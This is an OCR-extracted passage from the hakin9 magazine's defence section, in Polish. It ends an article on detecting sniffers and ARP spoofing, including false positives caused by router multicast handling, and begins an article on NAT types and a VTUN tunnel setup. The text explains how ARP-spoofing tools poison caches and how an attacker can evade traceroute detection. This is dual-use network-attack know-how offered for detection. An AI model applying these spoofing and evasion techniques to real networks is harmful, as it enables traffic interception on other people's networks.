SYN do tego samego serwera i na
dodatek opatrzony takim samym
numerem sekwencyjnym) oczy-
wiście odpowiedzieć RST. Powin-
na, ale nie odpowie, bowiem osobi-
sta ściana przeciwogniowa ustawia
port w stan stealth, a więc TCP RST
w ogóle się nie pojawi. A prawdziwy
nadawca będzie sobie mógł serfo-
wać do woli.
Co więcej można w ten spo-
sób udostępnić nawet usługi ser-
werowe (byle porty, które odpo-
wiadają za usługi na jednym kom-
puterze były na drugim ukryte).
Mówiąc obrazowo, mamy tu do
czynienia z „wirtualnym pocięciem”
jednego komputera na dwa – ot taki
Destination NAT, tylko że bez NATa
Oczywiście całe to rozwiązanie
działać będzie wyłącznie na hubie,
bowiem każdy współczesny switch
będzie wysyłał ramki na jeden i tyl-
ko ze swoich portów.
Z butami
(dwoma) do Sieci
Zdawałoby się, że o ARP-spoofin-
gu i jego wykrywaniu wiadomo już
wszystko (komu nie wiadomo powi-
nien sięgnąć do archiwalnego tek-
stu Marek Gusta, Maciej Szmit,
„Sniffing w ethernecie z przełączni-
kami”, „Haking” nr 2/2003, str. 6-9
albo przynajmniej przeczytać do-
stępny on line tekst Daniel Kaczorow-
Tabela 1.
Dokładnie rzecz biorąc w zależności od systemu operacyjnego wyglądało to będzie następująco
ICMP „crossping”
ARP-request
Debian GNU/Linux Sarge
kernel 2.6.12:1k7
odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)
odpowiedź ARP-reply będzie odsyłana zawsze
spod jednego adresu fizycznego (tej z kart sie-
ciowych, która zostanie podniesiona wcześniej),
ale już dla żądania ICMP echo request będzie
można używać dowolnej pary IP/MAC (z tym, że
odpowiedź przyjdzie zawsze z jednej karty)
Windows Vista Beta 2
Nie będzie odpowiedzi
Prawidłowe odwzorowania (IP pierwszej karty
MAC pierwszej karty, IP drugiej karty MAC dru-
giej karty)
Windows XP
(bez Service Packów)
ICMP-reply będą odesłane spod do-
brych adresów (IP pierwszej karty
MAC pierwszej karty, IP drugiej kar-
ty MAC drugiej karty)
Prawidłowe odwzorowania (IP pierwszej kar-
ty MAC pierwszej karty, IP drugiej karty MAC
drugiej karty)
Knoppix STD 0.1
kernel 2.4.21
odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)
dwie odpowiedzi (dwa adresy MACs dla jedne-
go adresu IP) – możliwe fałszywe odwzorowa-
nie w tablicy ARP-cache u klienta
Rysunek 1.
Schemat sieci współdzielenia łącza przez dwa komputery
Host A
IP: 192.168.0.2
MAC: 00:00 06:07:08:09
Hub
Router
Host A
IP: 192.168.0.2
MAC: 00:00 06:07:08:09
Internet
hakin9 Nr 1/2007
www.hakin9.org
Obrona
38
ski, Maciej Szmit, „Zdalna detekcja
snifferów w Sieci switching ethernet”
http://m-szmit.republika.pl/Kaczoro-
wskiiszmit.pdf). Programy używane
przez podsłuchujących (arpspoof
w linuxie czy WinArpspooofer w
Windows) zalewają ofiarę fałszy-
wymi odwzorowaniami ARP-reply,
które modyfikują jej tablicę ARP
cache tak że zamiast pod prawdzi-
wy adres fizyczny, przesyła swo-
je dane pod adres wskazany przez
napastnika. Obrona też wygląda-
ła prosto – wstarczy wysłać zapy-
tanie ARP request i policzyć przy-
chodzące odpowiedzi (zakładając,
że napastnik nie wyeliminował ma-
szyny, pod którą się podszywa np
za pomocą ataku DoS), ewentualnie
uruchomić arpwatch, który będzie
śledził zmiany odzoworwań MAC/IP
i w razie czego przyśle nam alar-
mującą wiadomość. I owszem to
wszystko będzie działało, przynajm-
niej dopóki zdolny administrator nie
wpadnie na pomysł zainstalowania
w serwerze zapasowej karty (lub co
gorsza kilku) podpiętej do tej samej
Sieci (fizycznej i logicznej, to jest uży-
wającej adresów IP z tej samej Sieci).
Podówczas z odwzorowaniami ARP
(i nie tylko) zaczną się dziać dziwne
rzeczy. Jeśli jeszcze użyjemy kom-
putera z systemem Linux, to może
okazać się, że będziemy mieli po kil-
ka odwzorowań tego samego IP na
różne adresy MAC. Jeżeli będziemy
mieli do czynienia z sytuacją jak na
Rysunku 2 i zdecydujemy się na wy-
słanie np. żądania ICMP echo-requ-
est na IP pierwszej karty (ale umie-
ściwszy je w ramce zaadresowanej
adresem fizycznym drugiej karty) to
rezultaty mogą nas zaskoczyć.
Zatem w przypadku linuxa z ją-
drem 2.4 programy takie jak ARP-
analyzer podniosą fałszywy alarm.
Jeśli spodziewamy się znaleźc w
siecie tego typu zjawisko powinni-
śmy użyć kolejnej wersji programu
WinAntiSniffer wzbogaconej o wy-
krywanie ARP-spoofingu (może-
cie ją oczywiście znaleźć na krąż-
ku dołączonym do pisma). Wyko-
rzystuje ona fakt, że w przypad-
ku podsłuchu ARP-spoofing na
pewno nie dostaniemy odpowiedzi
ICMP echo-reply na zestaw MAC
ofiary/IP pirata (a dostaniemy taką
odpowiedź w przypadku serwea z
dwoma kartami). No chyba, żeby-
śmy mieli do czynienia z dwoma
piratami, którzy podszywają się
pod siebie wzajemnie. Rozważa-
nia, jak wygladać może sytuacja
przy większej liczbie piratów pozo-
stawiamy dla Czytelników o moc-
nych nerwach (przypominając, że
liczba dwuelementowych podzbio-
rów zbioru n-elementowego rośnie
z kwadratem n).
Dla lubiących proste rozwią-
zania: istnieją jeszcze dwa inne
sposoby wykrywania ARP-spoofin-
gu, o których nie wszyscy muszą
wiedzieć. Po pierwsze wystarczy
uruchomić polecenie traceroute na
adres, co do którego mamy wąt-
Rysunek 3.
Konwersja ruchu multicast na unicast wykonywana przez router
Switch
pakiet C
pakiet A i B
pakiet D i E
pakiet A i B
pakiet A i B
pakiet A i B
pakiet D
pakiet G
pakiet E
pakiet F
Host B
IP: 192.168.134.2
MAC: 00:00:01:02:03:04
Uruchomiony sniffer
KROK 2 (pakiet C):
Odpowiedź ICMP na pakiet
A (ze względu na sniffer)
KROK 5 (pakiet G):
Na pakiet D (unicast) host
udziela odpowiedzi ICMP.
Router
IP: 192.168.134.254
KROK 3 (pakiet D i E):
W wyniku odebrania pakietu A
i B router generuje 2 pakiety
ICMP unicast (docelowy adres
MAC unicast i doselowy adres
IP unicast)
pakiet D:
MAC - 00:00:01:02:03:04
IP - 192.168.134.2
pakiet E:
MAC - 00:00:01:02:03:05
IP - 192.168.134.3
Host C
IP: 192.168.134.2
MAC: 00:00:01:02:03:05
Barak sniffera
KROK 4 (pakiet F):
Na pakiet E (unicast) host
udziela odpowiedzi ICMP.
Host A
IP: 192.168.134.1
KROK 1 (pakiet A i B):
Wysyłany pakiet ICMP multicast
(docelowy adres MAC multicast i
docelowy adres IP unicast
pakiet A:
MAC - FF:FF:FF:FF:FF:FF
IP - 192.168.134.3
Rysunek 2.
Serwer z zainstalowanymi dwiema kartami sieciowymi
pracującymi w jednej sieci logicznej LAN
Klient
IP: 192.68.0.3
IP: 192.68.0.1
IP: 192.68.0.1
Switch
Serwer z dwoma
interfejsami
hakin9 Nr 1/2007
www.hakin9.org
Obrona
40
pliwości (najczęściej będzie to ad-
res naszej bramy) – jeśli okaże się,
że po drodze między nami a do-
myślną bramą jest jeszcze jakieś
IP to zdecydowanie mamy powód
do zmartwienia. Oczywiście ata-
kujący może spróbować się przed
tym zabezpieczyć (na przykład za
pomocą reguły podnoszącej TTL
w forwardowanych pakietach, ale
do tego trzeba już trochę się napra-
cować, w każdym razie na „gołego”
arpspoofa i WinARPSpoofera ten
sposób wystarczy).
Warto też zainteresować się pa-
kietami ICMP redirect. Ich obec-
ność w Sieci może może nam zasu-
gerować, że oburzony system ope-
racyjny pirata (powiedzmy: począt-
kującego pirata, który nie zabezpie-
czył się przed tym zjawiskiem) wy-
syła ofierze informacje „ja przecież
nie jestem routerem”. Niestety zale-
wanej pakietami ARP reply ofierze
wiele to nie pomoże, chyba że za-
lew komunikatów ICMP da admini-
stratorowi do myślenia. I znowu: wy-
kwalifikowany pirat powinien, ale
przecież nie będziemy ułatwiać ży-
cia piratom.
W każdym razie uważajcie na
zwiększony ruch ICMP redirect
(tym bardziej, że może on świad-
czyć o jeszcze jednej metodzie ata-
ku, zwanej ICMP-redirect spoofing,
ale o tym już innym razem).
Problemy grupowe
Dla administratora wizja kilku pira-
tów w Sieci (jego Sieci!) podsłuchu-
jących się wzajemnie wydaje się być
rodem z koszmarnego snu. Nic dziw-
nego, że kiedy zdarzyło się nam
zobaczyć coś podobnego nie mo-
gliśmy uwierzyć własnym oczom.
Rysunek 4.
Pakiety przechwycone na hoście A (z uruchomionym WinAntiSnifferem) w przypadku badania hosta C
Rysunek 5.
Pakiety przechwycone na hoście A (z uruchomionym AntiSnifferem) w przypadku badania hosta B
Jak się okazało, całkiem słusznie.
Pamiętacie testy odpowiedzi służą-
ce do wykrywania klasycznych snif-
ferów? Jeśli nie pamiętacie, to zaj-
rzyjcie do archiwalnych numerów
Hakin9u, żeby przeczytać na przy-
kład artykuł Maciej Szmit, Mariusz
Tomaszewski, Marek Gusta, „Snif-
fing dla początkujących”, „Software
2.0 Extra”, Nr 5/2003 str. 18-25, albo
– jeśli wolicie skorzystać z Interne-
tu – to poczytajcie dokument http://
m-szmit.repulika.pl/sis2002.pdf.
Testy, o których mowa spro-
wadzają się do przesłania do po-
dejrzanego komputera odpowied-
nio spreparowanej ramki (z błę-
dym adresem docelowym MAC),
w której umieszczony jest pakiet
zawierający żądanie odpowiedzi
(ARP Request lub ICMP Echo Re-
quest) zaadresowany adresem IP
podejrzanego komputera. Z uwagi
na zaimplementowanie we wszyst-
kich systemach operacyjnych wir-
tualne filtry pakietów (no – prawie
we wszystkich, w Windows Vista
Beta 2 o takich nie słyszeli) jedyny-
mi adresami MAC odbiorcy mogą
być niektóre z adresów multicasto-
wych (mowa o multicastach ether-
netowych, czyli adresach MAC,
w których najmniej znaczacy bit
najbardziej znaczacego bajtu jest
jedynką).
W przypadku Sieci wykorzy-
stującej koncentratory i „zwykłe”
routery (na przykład komputery
z dwiema kartami sieciowymi pra-
cujące pod kontrolą systemu ope-
racyjnego NetWare albo Linux, czy
też routery firmy CISCO) dziala-
nie testów jest zgodne z oczeki-
waniem. Jakież jednak było na-
sze zdumienie, kiedy w w sieciach
wykorzystujących tanie routery
(a właściwie router-switche) firm
D-Link oraz Lucent wszystkie kom-
putery zaczęły nagle odpowia-
dać na testy wykrywajace sniffe-
ry. Okazało się, że winne są urzą-
dzenia, których działanie w zakre-
sie obsługi multicastów jest dość
niestandardowe. Mianowicie przyj-
mują one, że w przypadku otrzy-
mania ramki zaadresowanej gru-
powym adresem MAC, należy jej
zawartość przesłać dalej jako ram-
kę unicastową, przy czym adres
odbiorcy ramki jest adresem MAC
komputera, którego IP zawarte było
w pakiecie niesionym przez ramkę.
W przypadku wysłania multi-
castowej ramki zawierającej bro-
adcastowy pakiet (a tak działają
testy odpowiedzi) urządzenie prze-
śle do Sieci broadcastową ramkę
z broadcastowym pakietem. Me-
chanizm ten występuje w przypad-
ku, gdy przesyłany jest pakiet IP
i wyłącznie wtedy, gdy multica-
stowy MAC jest z zakresu
FF:FF:
F F:F F:F F:00-F F:F F:F F:F F:F F:F E
(przynajmniej w przypadku testo-
wych przez nas urządzeń D-Link).
Jest to zachowanie zbliżone nieco
do zachowania m-routera (route-
ra obsługującego multicasty), ale
zdecydowanie mniej doskonałe.
Konsekwencją jego jest – w przy-
padku testów odpowiedzi – fałszywe
wykrycie (ang. false positive) snif-
ferów na wszystkich sprawdzanych
komputerach w segmencie (kom-
putery otrzymuja pytanie w ramce
zaadresowanej prawidłowym – uni-
castowym adresem MAC, na które
oczywiście odpowiadają). Dokład-
niej – w segmencie pojawiają się
dwa pytania – jedno w ramce multi-
Huby w pajęczynach i złośliwe m-routery
hakin9 Nr 1/2007
www.hakin9.org
41
castowej (na które odpowiadają tyl-
ko komputery z interfejsem pracu-
jącym w trybie promiscuous – o ile
oczywiście są wrażliwe na ten rodzaj
testu) – oraz drugie (w ramce unica-
stowej).
Ramka unicastowa będzie za-
adresowana fizycznym adresem
MAC interfejsu komputera, którego
adres IP był umieszczony w ramce
multicastowej. Zatem na ramkę uni-
castową odpowie określony kompu-
ter nawet jeśli nie pracuje w trybie
promiscuous (Rysunek 3).
Co gorsza, jeśli w Sieci jest wię-
cej niż jedno tego typu urządzenie
(a w przeciwieństwie do stad pira-
tów, to się zdarza się i to nawet dość
często w przypadku podziału Sie-
ci wewnętrznej na kilka podsieci
– konfiguracja stosowana nagminnie
w sieciach akademickich podzielo-
nych na pracownie studenckie) – licz-
ba ramek odpowiednio się zwiększa.
Rozwiązaniem problemu jest uprzed-
nie zliczanie multiplikacji ramek
poprzez wysłanie, przed uruchomie-
niem właściwego testu, ramki mul-
ticastowej zawierającej pakiet ad-
resowany do komputera, na którym
będziemy przeprowadzać testy (za-
zwyczaj do siebie) i zliczenie przy-
chodzących ramek unicastowych.
Z kolei w testach odpowiedzi należy in-
formację o wykryciu sniffera umieścić
tylko w przypadku, gdy liczba przycho-
dzących odpowiedzi jest o jeden więk-
sza niż liczba wykrytych urządzeń.
Zatem rozważając sytuację z Ry-
sunku 3 należy spodziewać się w
Sieci pakietów przedstawionych na
Rysunku 4 (w przypadku badania
hosta C – bez sniffera) oraz na Ry-
sunku 5 (w przypadku badania ho-
sta B – ze snifferem). Najpierw z ho-
sta A wysyłane jest zapytanie ICMP
echo-request z adresem docelowym
IP wskazującym na siebie samego
w ramce multicastowej. Jak widać
drugi pakiet w Sieci to efekt zamiany
przez router pakietu multicast na uni-
cast. Następnie wysyłany jest pakiet
sondujący na adres 192.168.134.3
w ramce multicastowej (host C nie
udzieli na niego odpowiedzi, gdyż
nie jest na nim uruchomiony sniffer).
W tym momencie w Sieci pojawi się
również wygenerowany przez router
pakiet ICMP echo-request unicast,
który trafi do hosta C (pakietu tego
nie można przechwycić na hoście A,
stąd nie widać go na rysunku). Host C
udziela odpowiedzi ICMP echo-reply
(pakiet nr 4). W efekcie można przy-
puszczać nie znając topologii i urzą-
dzeń pracujących w Sieci, że na kom-
puterze C jest uruchomiony sniffer
– nie jest to jednak prawda.
W stosunku do sytuacji z Rysun-
ku 4, teraz widać, że host B z uru-
chomionym snifferem udziela dwóch
odpowiedzi – na pakiet multicast (ze
względu na pracę w trybie promisc)
oraz na pakiet unicast wygenerowa-
ny przez router.
Rozwiązanie to zostało oczywi-
ście zaimplementowane w wersji 2.4
programu WinAntisniffer, który może-
cie znaleźć na załączonym do pisma
krążku CD-ROM.
Podsumowanie
Choć zagadnienia związane z pod-
stawami obsługi protokołów siecio-
wych wydają się czasami trywialne
i dobrze znane, często okazuje się,
że są to tylko pozory, a błędy i nie-
ścisłości w ich implementacji zda-
rzają się i najlepszym. Trochę to po-
cieszające, kiedy sami łapiemy się
na tym, że kiedyś napisaliśmy coś
nie do końca ścisłego, albo zapo-
mnieliśmy o jakichś szczególnych
przypadkach. l
W Sieci
http://www.microsoft.com/technet/
prod-technol/windows2000serv/
r e s k i t / r e g e n t r y / 5 8 7 3 7 . m s p x ?
mfr=true.
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 1/2007
42
Obrona
G
odzina zero. Urządzeń korzystających
z publicznych adresów IP ciągle przy-
bywa. Z raportu ([1]) opublikowanego
w 2002 roku wynikało, że pula publicznych ad-
resów internetowych zostanie wyczerpana do
2005 roku. Rok 2005 minął spokojnie, a pro-
blem adresacji specjalnie nam nie doskwierał.
Nowe raporty przesuwają datę apokalipsy na
lata od około 2010 do 2026. Pomimo tego, że
wg niektórych źródeł w roku 2012 nastąpi już
definitywnie koniec świata i problem dostępno-
ści IP zejdzie na drugi plan, ustępując pierw-
szeństwa problemom egzystencjalnym, warto
wiedzieć, że to właśnie rozwój lokalnych sie-
ci komputerowych przyczynił się między inny-
mi do przesunięcia momentu, kiedy nie będzie
można już podłączyć żadnego nowego kompu-
tera do sieci globalnej.
Problem IP i jego rozwiązanie
Aby dwa komputery mogły się ze sobą w In-
ternecie skomunikować, muszą posiadać pu-
bliczne adresy IP – głosi powszechnie znana
teza. Jednak nie jest ona do końca prawdzi-
wa. Z jednej strony prawdą jest, że krążące
w Internecie pakiety powinny mieć publicz-
ny adres źródłowy i docelowy, co pociąga
za sobą konieczność istnienia dwóch kom-
puterów posiadających zewnętrzne IP – jed-
nego nadającego a drugiego odbierającego.
Z drugiej strony istnieją mechanizmy, które
potrafią umożliwić maszynom posiadającym
lokalną adresację bezproblemową komunika-
cję z dowolnym adresem IP. Jednym z takich
mechanizmów jest właśnie NAT (Network
Address Translation) czyli translacja adre-
Sieci nie tak znowu lokalne
Konrad Malewski
stopień trudności
Szybki przyrost ilości komputerów na świecie powodują, że
zmniejsza się ilość wolnych adresów IP. Najczęściej stosowane
rozwiązanie czyli NAT pomimo swoich zalet, posiada również
wadę. Jest nią brak możliwości tworzenia połączeń pomiędzy
komputerami znajdującymi się w różnych sieciach lokalnych.
Z artykułu dowiesz się...
• Jak działa NAT;
• Jakie są rodzaje NAT i jakie są ich właściwo-
ści;
• Jakie są techniki nawiązywania bezpośrednich
połączeń UDP oraz TCP pomiędzy lokalnymi
sieciami.
Co powinieneś wiedzieć...
• Powinieneś znać model ISO/OSI;
• Powinieneś mieć ogólne pojęcie o zasadzie
działania sieci TCP/IP;
• Powinieneś mieć ogólne pojęcie o programo-
waniu gniazd sieciowych.
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
43
sów sieciowych. NAT nie jest je-
dynym mechanizmem tego typu.
Do umożliwienia surfowania można
na przykład użyć serwerów proxy
czy też wykorzystać protokół RSIP.
Rozwiązania alternatywne często
są wykorzystywane w miejscach,
w których ten, kto udostępnia Inter-
net chce mieć pełniejszą kontrolę
nad przesyłanymi danymi.
Translacja adresów
NAT jest obecnie jednym z najczę-
ściej stosowanych mechanizmów
służących do udostępniania połą-
czenia internetowego w sieciach
lokalnych. Jest to mechanizm spraw-
dzony, dość dobrze przetestowa-
ny i zrealizowany lepiej lub gorzej
w szerokiej gammie routerów sprzę-
towych. Istnieją oczywiście dar-
mowe implementacje programowe
NAT – natd czy iptables. Stosowanie
tego rozwiązania posiada następu-
jące cechy:
• NAT oszczędza pule adresów
– wiele komputerów może posia-
dać jeden adres publiczny, pod
którym będą widoczne;
• Udostępnianie Internetu dodat-
kowym maszynom wymaga jedy-
nie przekonfigurowania routera.
Nie istnieje potrzeba dokupywa-
nia dodatkowych adresów u ISP;
• Stosując NAT w firmie łatwo zmie-
nić dostawcę internetowego;
• NAT automatycznie tworzy swo-
jego rodzaju firewall, który nie
pozwala na niekontrolowane łą-
czenie się komputerów z interne-
tu z tymi w sieci lokalnej;
• NAT nie wymaga specjalnej kon-
figuracji aplikacji na komputerach
klientów.
Niestety oprócz licznych zalet uży-
wając NAT warto pamiętać również
o jego niedostatkach:
• Stosowanie NAT przy dużej licz-
bie komputerów i jednym adresie
powoduje najrozmaitsze proble-
my, które niekoniecznie wskazu-
ją na konkretną przyczynę;
• Aby działać poprawnie, niektó-
re usługi wymagają publicznego
adresu IP lub/i wymagają dedy-
kowanego portu;
• NAT wymaga więcej zasobów
(pamięć, CPU) niż rozwiązanie
oparte wyłącznie na routingu;
• Niektóre protokoły nie działają
dobrze w środowisku z NAT (np.
ftp, ipsec).
Istnieje szereg rodzajów NAT:
• Jednokierunkowy NAT;
• Dwukierunkowy NAT;
• NAT z translacją portów;
• Dwukrotny NAT.
Różnice pomiędzy poszczególnymi
rodzajami NAT oraz zasadę dzia-
łania najlepiej pokazać za pomo-
cą przykładu. Załóżmy, że w sie-
ci istnieje komputer, który posia-
da lokalny adres 192.168.19.100
i jest podłączony do Internetu przez
NAT, którego adres publiczny to
157.158.181.42. Co się dzieje, gdy
komputer z lokalnym adresem IP
chce się połączyć np. z komputerem
o adresie 157.158.180.200? W przy-
padku NAT-a komputer z lokalnym
IP używa maszyny z usługą NAT ja-
ko domyślnego routera, więc chcąc
nawiązać jakąkolwiek komunikację
poza LAN wyśle do niego pakiety.
Przy przejściu pakietu przez router
zostanie zamieniony adres źródłowy
pakietu na adres publiczny routera.
Komputer, do którego dotrze pakiet
po zmianie adresu zobaczy połą-
czenie nie z adresu 192.168.19.100,
ale z 157.158.181.42.
Jednokierunkowy NAT charak-
teryzuje się tym, że komputer z po-
za sieci lokalnej nie może nawią-
zać połączenia do wewnątrz LAN.
Rysunek 1.
Uproszczony model sieci
Komputer z publicznym
adresem IP
Komputer z lokalnym
adresem IP
INTERNET
Sieć lokalna
Sieć lokalna
Router z NAT
Router z NAT
Komputer z lokalnym
adresem IP
Komputer z lokalnym
adresem IP
Komputer z lokalnym
adresem IP
Rysunek 2.
Zasada działania NAT pokazana na przykładzie NAT
jednokierunkowego
Komputer A
IP: 192.168.19.100
Src: 192.168.19.100
Src port: 3000
Src: 157.158.181.42
Src port: 3000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.181.42
Src port: 5000
Src: 157.158.180.100
Src port: 5000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
hakin9 Nr 1/2007
www.hakin9.org
Obrona
44
Wszystkie próby nawiązania połą-
czenia do routera są przetwarzane
jako próby połączenia z samą ma-
szyną routera.
Taką funkcjonalność umożliwia
dwukierunkowy NAT. Jeśli kompu-
ter 157.158.180.200 wyśle pakiet do
157.158.181.42, to router zamieni ad-
res docelowy na ten z sieci lokalnej.
Komputer lokalny zarejestruje połą-
czenie z adresu 157.158.180.200.
Autorzy poszczególnych imple-
mentacji NAT starają się, by pakie-
ty przechodzące przez router były
modyfikowane w jak najmniejszym
stopniu. I tak np., jeżeli klient NAT w
sieci lokalnej próbuje ustanowić po-
łączenie zewnętrzne i używa do te-
go celu portu źródłowego X, to NAT
będzie starał się użyć portu źródło-
wego X po translacji adresu IP. Aby
zrozumieć zasadność istnienia NAT
z translacją portów należy rozwa-
żyć następujący przypadek: co się
stanie jeśli dwóch klientów będzie
próbowało otworzyć połączenie ze-
wnętrzne i będą używać tego same-
go portu źródłowego? NAT powinien
jak najmniej ingerować w zawartość
przepływających pakietów, ale w tej
sytuacji nieingerowanie spowoduje,
że po translacji połączenia staną się
nierozróżnialne od siebie (oba uży-
wałyby portu X jako źródłowego).
Jeżeli NAT wykryje taką sytuację, to
dokona translacji portu i w przypad-
ku drugiego połączenia NAT oprócz
adresu IP zmieni również port źró-
dłowy.
Skoro istnieje możliwość zamia-
ny adresu i portu źródłowego, to nic
nie stoi na przeszkodzie, aby zamie-
niać również adres docelowy. Zamie-
nianie adresu docelowego ma sens
między innymi w sytuacji, w której
chcemy połączyć dwie sieci, których
adresy nakładają się. Jeśli chcieli-
byśmy umożliwić komunikację po-
między tymi dwoma sieciami to albo
musielibyśmy zmienić adresy w jed-
nej z nich, albo zastosować podwójny
NAT na routerach, zamieniając adre-
sy sieci tak, aby się nie nakładały.
Istnieją podziały NAT ze względu
na inne kryteria, jednakże na chwilę
obecną poprzestaniemy na tym po-
dziale.
Rysunek 3.
Zasada działania dwukierunkowego NAT
Komputer A
IP: 192.168.19.100
Src: 192.168.19.100
Src port: 3000
Src: 157.158.181.42
Src port: 3000
Src: 157.158.180.200
Src port: 5000
Src: 192.168.19.100
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.181.42
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Rysunek 4.
NAT z translacją portów
Komputer A
IP: 192.168.19.100
Scr: 192,168.19.100
Src port: 3000
Dst: 157,158.19.200
Dsc port: 5000
Scr: 157.158.181.42
Src port: 3000
Dst: 157.158.180.200
Dst port: 5000
Scr: 157.158.181.42
Src port: 3000
Dst: 157.158.180.200
Dst port: 5000
Scr: 192.168.19.101
Src port: 3000
Dst: 157,158.19.200
Dst port: 5000
Komputer A'
IP: 192.168.19.101
Komputer R1
IP: 157.158.181.42
Komputer C
IP: 157.158.180.200
Rysunek 5.
Podwójny NAT
Komputer A
IP: 192.168.19.100
Src: 157.158.181.42
Src port: 3000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Src: 157.158.180.200
Src port: 5000
Komputer R1
IP: 157.158.181.42
Komputer S'
IP: 157.158.191.236
Wszystko o NAT
hakin9 Nr 1/2007
www.hakin9.org
45
Problem bezpośrednich
połączeń
Obecność maszyny pośredniczą-
cej w wymianie pakietów oraz lokal-
na adresacja znacząco komplikuje
klasyczny schemat nawiązywania
połączeń pomiędzy komputerami
znajdującymi się w różnych sieciach
lokalnych. Większość NAT używa-
nych obecnie to NAT z translacją
portów. O ile nie ma większych pro-
blemów z nawiązaniem sesji kom-
putera w LAN z serwerem posiada-
jącym publiczne IP, o tyle wszystkie
żądania połączeń z sieci zewnętrz-
nej zostaną odrzucone przez ro-
uter łączący komputer z Internetem.
Nawet jeśli mamy dostęp do konfi-
guracji routera i zastosujemy prze-
kierowanie portu do sieci lokalnej,
to i tak nie rozwiązuje to wszyst-
kich problemów, ponieważ można
przekierować port jedynie do jedne-
go adresu. Czasami przekierowanie
jednego portu może być idealnym
rozwiązaniem, ale co w przypadku
kiedy administrator naszej lokalnej
sieci nie ma ochoty zmieniać kon-
figuracji routera, a w dodatku doce-
lowa maszyna również znajduje się
za NAT. Z pomocą przychodzą nam
różne techniki, przy użyciu których
możemy ustanowić bezpośrednie
połączenia i nie będziemy musie-
li zawracać głowy naszemu admi-
nistratorowi.
Prosty sposób na P2P
Jeśli jeden z komputerów posiada
publiczny adres IP, to problem po-
łączenia w jedną stronę praktycz-
nie nie istnieje. Komputer z publicz-
nym adresem IP jest osiągalny bez-
pośrednio, więc połączyć się z nim
można tak samo, jak z każdym in-
nym w Internecie. Połączenie w dru-
gą stronę sprawia już więcej proble-
mu. Aby je umożliwić należy odwró-
cić schemat połączenia. A mianowi-
cie komputer z publicznym IP mu-
si zażądać połączenia od kompu-
tera zza NAT. Skoro nie może zro-
bić tego bezpośrednio, to musi ist-
nieć komputer pośredniczący, po-
przez który do maszyny za NAT zo-
stanie przesłane żądanie połączenia
(Rysunek 6).
Rozwinięciem tego pomysłu, się-
gającego jeszcze czasów Napste-
ra, jest przesyłanie danych poprzez
pośrednika sieciowego, który posia-
dałby publiczny adres IP. Klienci, za-
miast łączyć się bezpośrednio ze so-
bą, łączą się z serwerem, który two-
rzy tunel łączący dwie sieci.
Pomysł ten nosi nazwę TURN
(skrót ang. Traversal Using Re-
lay NAT). Rozwiązanie to jest dość
uniwersalne, a na dodatek bardzo
skuteczne (Rysunek 7). Posiada jed-
nak pewne wady, a mianowicie wyma-
ga dedykowanego serwera pośred-
niczącego oraz protokołu wymiany
danych oraz informacji sterujących
tunelem. To ostatnie wymusza ist-
nienie warstwy pośredniej, z którą
komunikowałaby się aplikacja chcą-
ca przesłać dane. Jeżeli rozwiąza-
nie to miałoby zostać wykorzystane
na większą skalę np. gdyby na jego
bazie chcieć świadczyć usługi jako
uniwersalny pośrednik sieciowy, to
należy się liczyć również z proble-
mami natury prawnej.
Zestawiamy VPN
Dla własnej potrzeby możemy jed-
nak w bardzo szybki sposób zesta-
wić tunel takiego typu. W najprost-
szym przypadku musimy jedynie
posiadać uprawnienia administra-
tora na maszynie z publicznym
adresem IP. Do stworzenia tunelu
pomiędzy komputerami A i B uży-
jemy VPN o nazwie VTUN. VTUN
umożliwia stworzenie na kompu-
terze za NAT wirtualnego interfej-
su sieciowego, który połączy go
z drugim komputerem. Od strony
routera łączącego A z internetem
tunel widoczny jest jako jedno po-
łączenie A z komputerem C. Do-
datkowo VTUN umożliwia szyfro-
wanie przesyłanych danych. Alter-
natywnym rozwiązaniem i ponie-
kąd uważanym za bezpieczniejsze
jest OpenVPN, który dostępny jest
nawet na platformę Windows. Jed-
nak ze względu na prostotę konfi-
guracji w tym przykładzie zostanie
użyty VTUN. Po pomyślnej instalacji
VTUN, należy skonfigurować usłu-
gę pracującą na maszynie serwera
(w tym przykładzie niech będzie to
maszyna C), oraz na maszynach
klientach (A i B).
Na maszynie C plik konfiguracyj-
ny (Listing 2).
Plik konfiguracyjny na hoście A
jest stworzony analogicznie do hosta
B. Różnią się wyłącznie nazwą sekcji
(hosta zamiast hostb) oraz adresem
IP tunelu (10.1.0.2). Większość opcji
w pliku konfiguracyjnym jest samo
komentująca się. Obszerną doku-
mentację jest domyślny plik konfigu-
racyjny dostarczony wraz z oprogra-
mowaniem. Znaleźć tam można do-
kładny opis każdego z parametrów.
Rysunek 6.
Schemat odwróconego połączenia
Żądanie połączenia
INTERNET
Połączenie
R1
A
B
C
hakin9 Nr 1/2007
www.hakin9.org
Obrona
46
Mając już przygotowane pliki
konfiguracyjne uruchamiamy serwer
VTUN na kompuerze C:
vtund -s -f vtun-srv.conf
oraz na komputerze A:
vtund -f vtun-hosta.conf -p hosta
157.158.180.200
i na koniec na komputerze B:
vtund -f vtun-hostb.conf -p hostb
157.158.180.200
Jeśli wszystko poszło dobrze, to ser-
wer C powinien posiadać dwa dodat-
kowe interfejsy – tap0 łączący C z A
oraz tap1 łączący C z B.
Teraz wystarczy ustawić regu-
ły routingu pozwalające na komuni-
kację A z B oraz włączyć przekazy-
wanie pakietów pomiędzy interfejsa-
mi tap0 i tap1 na hoście C. Routing
na A i B możemy ustawić na dwa
sposoby. Można do tego celu użyć
standardowej komendy route, lub też
bardziej zaawansowane ip z pakietu
iproute. Zaletą używania polecenia
ip jest możliwość ustawienia adre-
su źródłowego, który będzie używa-
ny do osiągnięcia danej sieci. Na ho-
ście A wywołujemy:
ip route add 192.168.18.0/24 dev
tap1 src 192.168.19.100
Na hoście B:
ip route add 192.168.19.0/24 dev
tap1 src 192.168.18.200
Natomiast hosta C uczymy przeka-
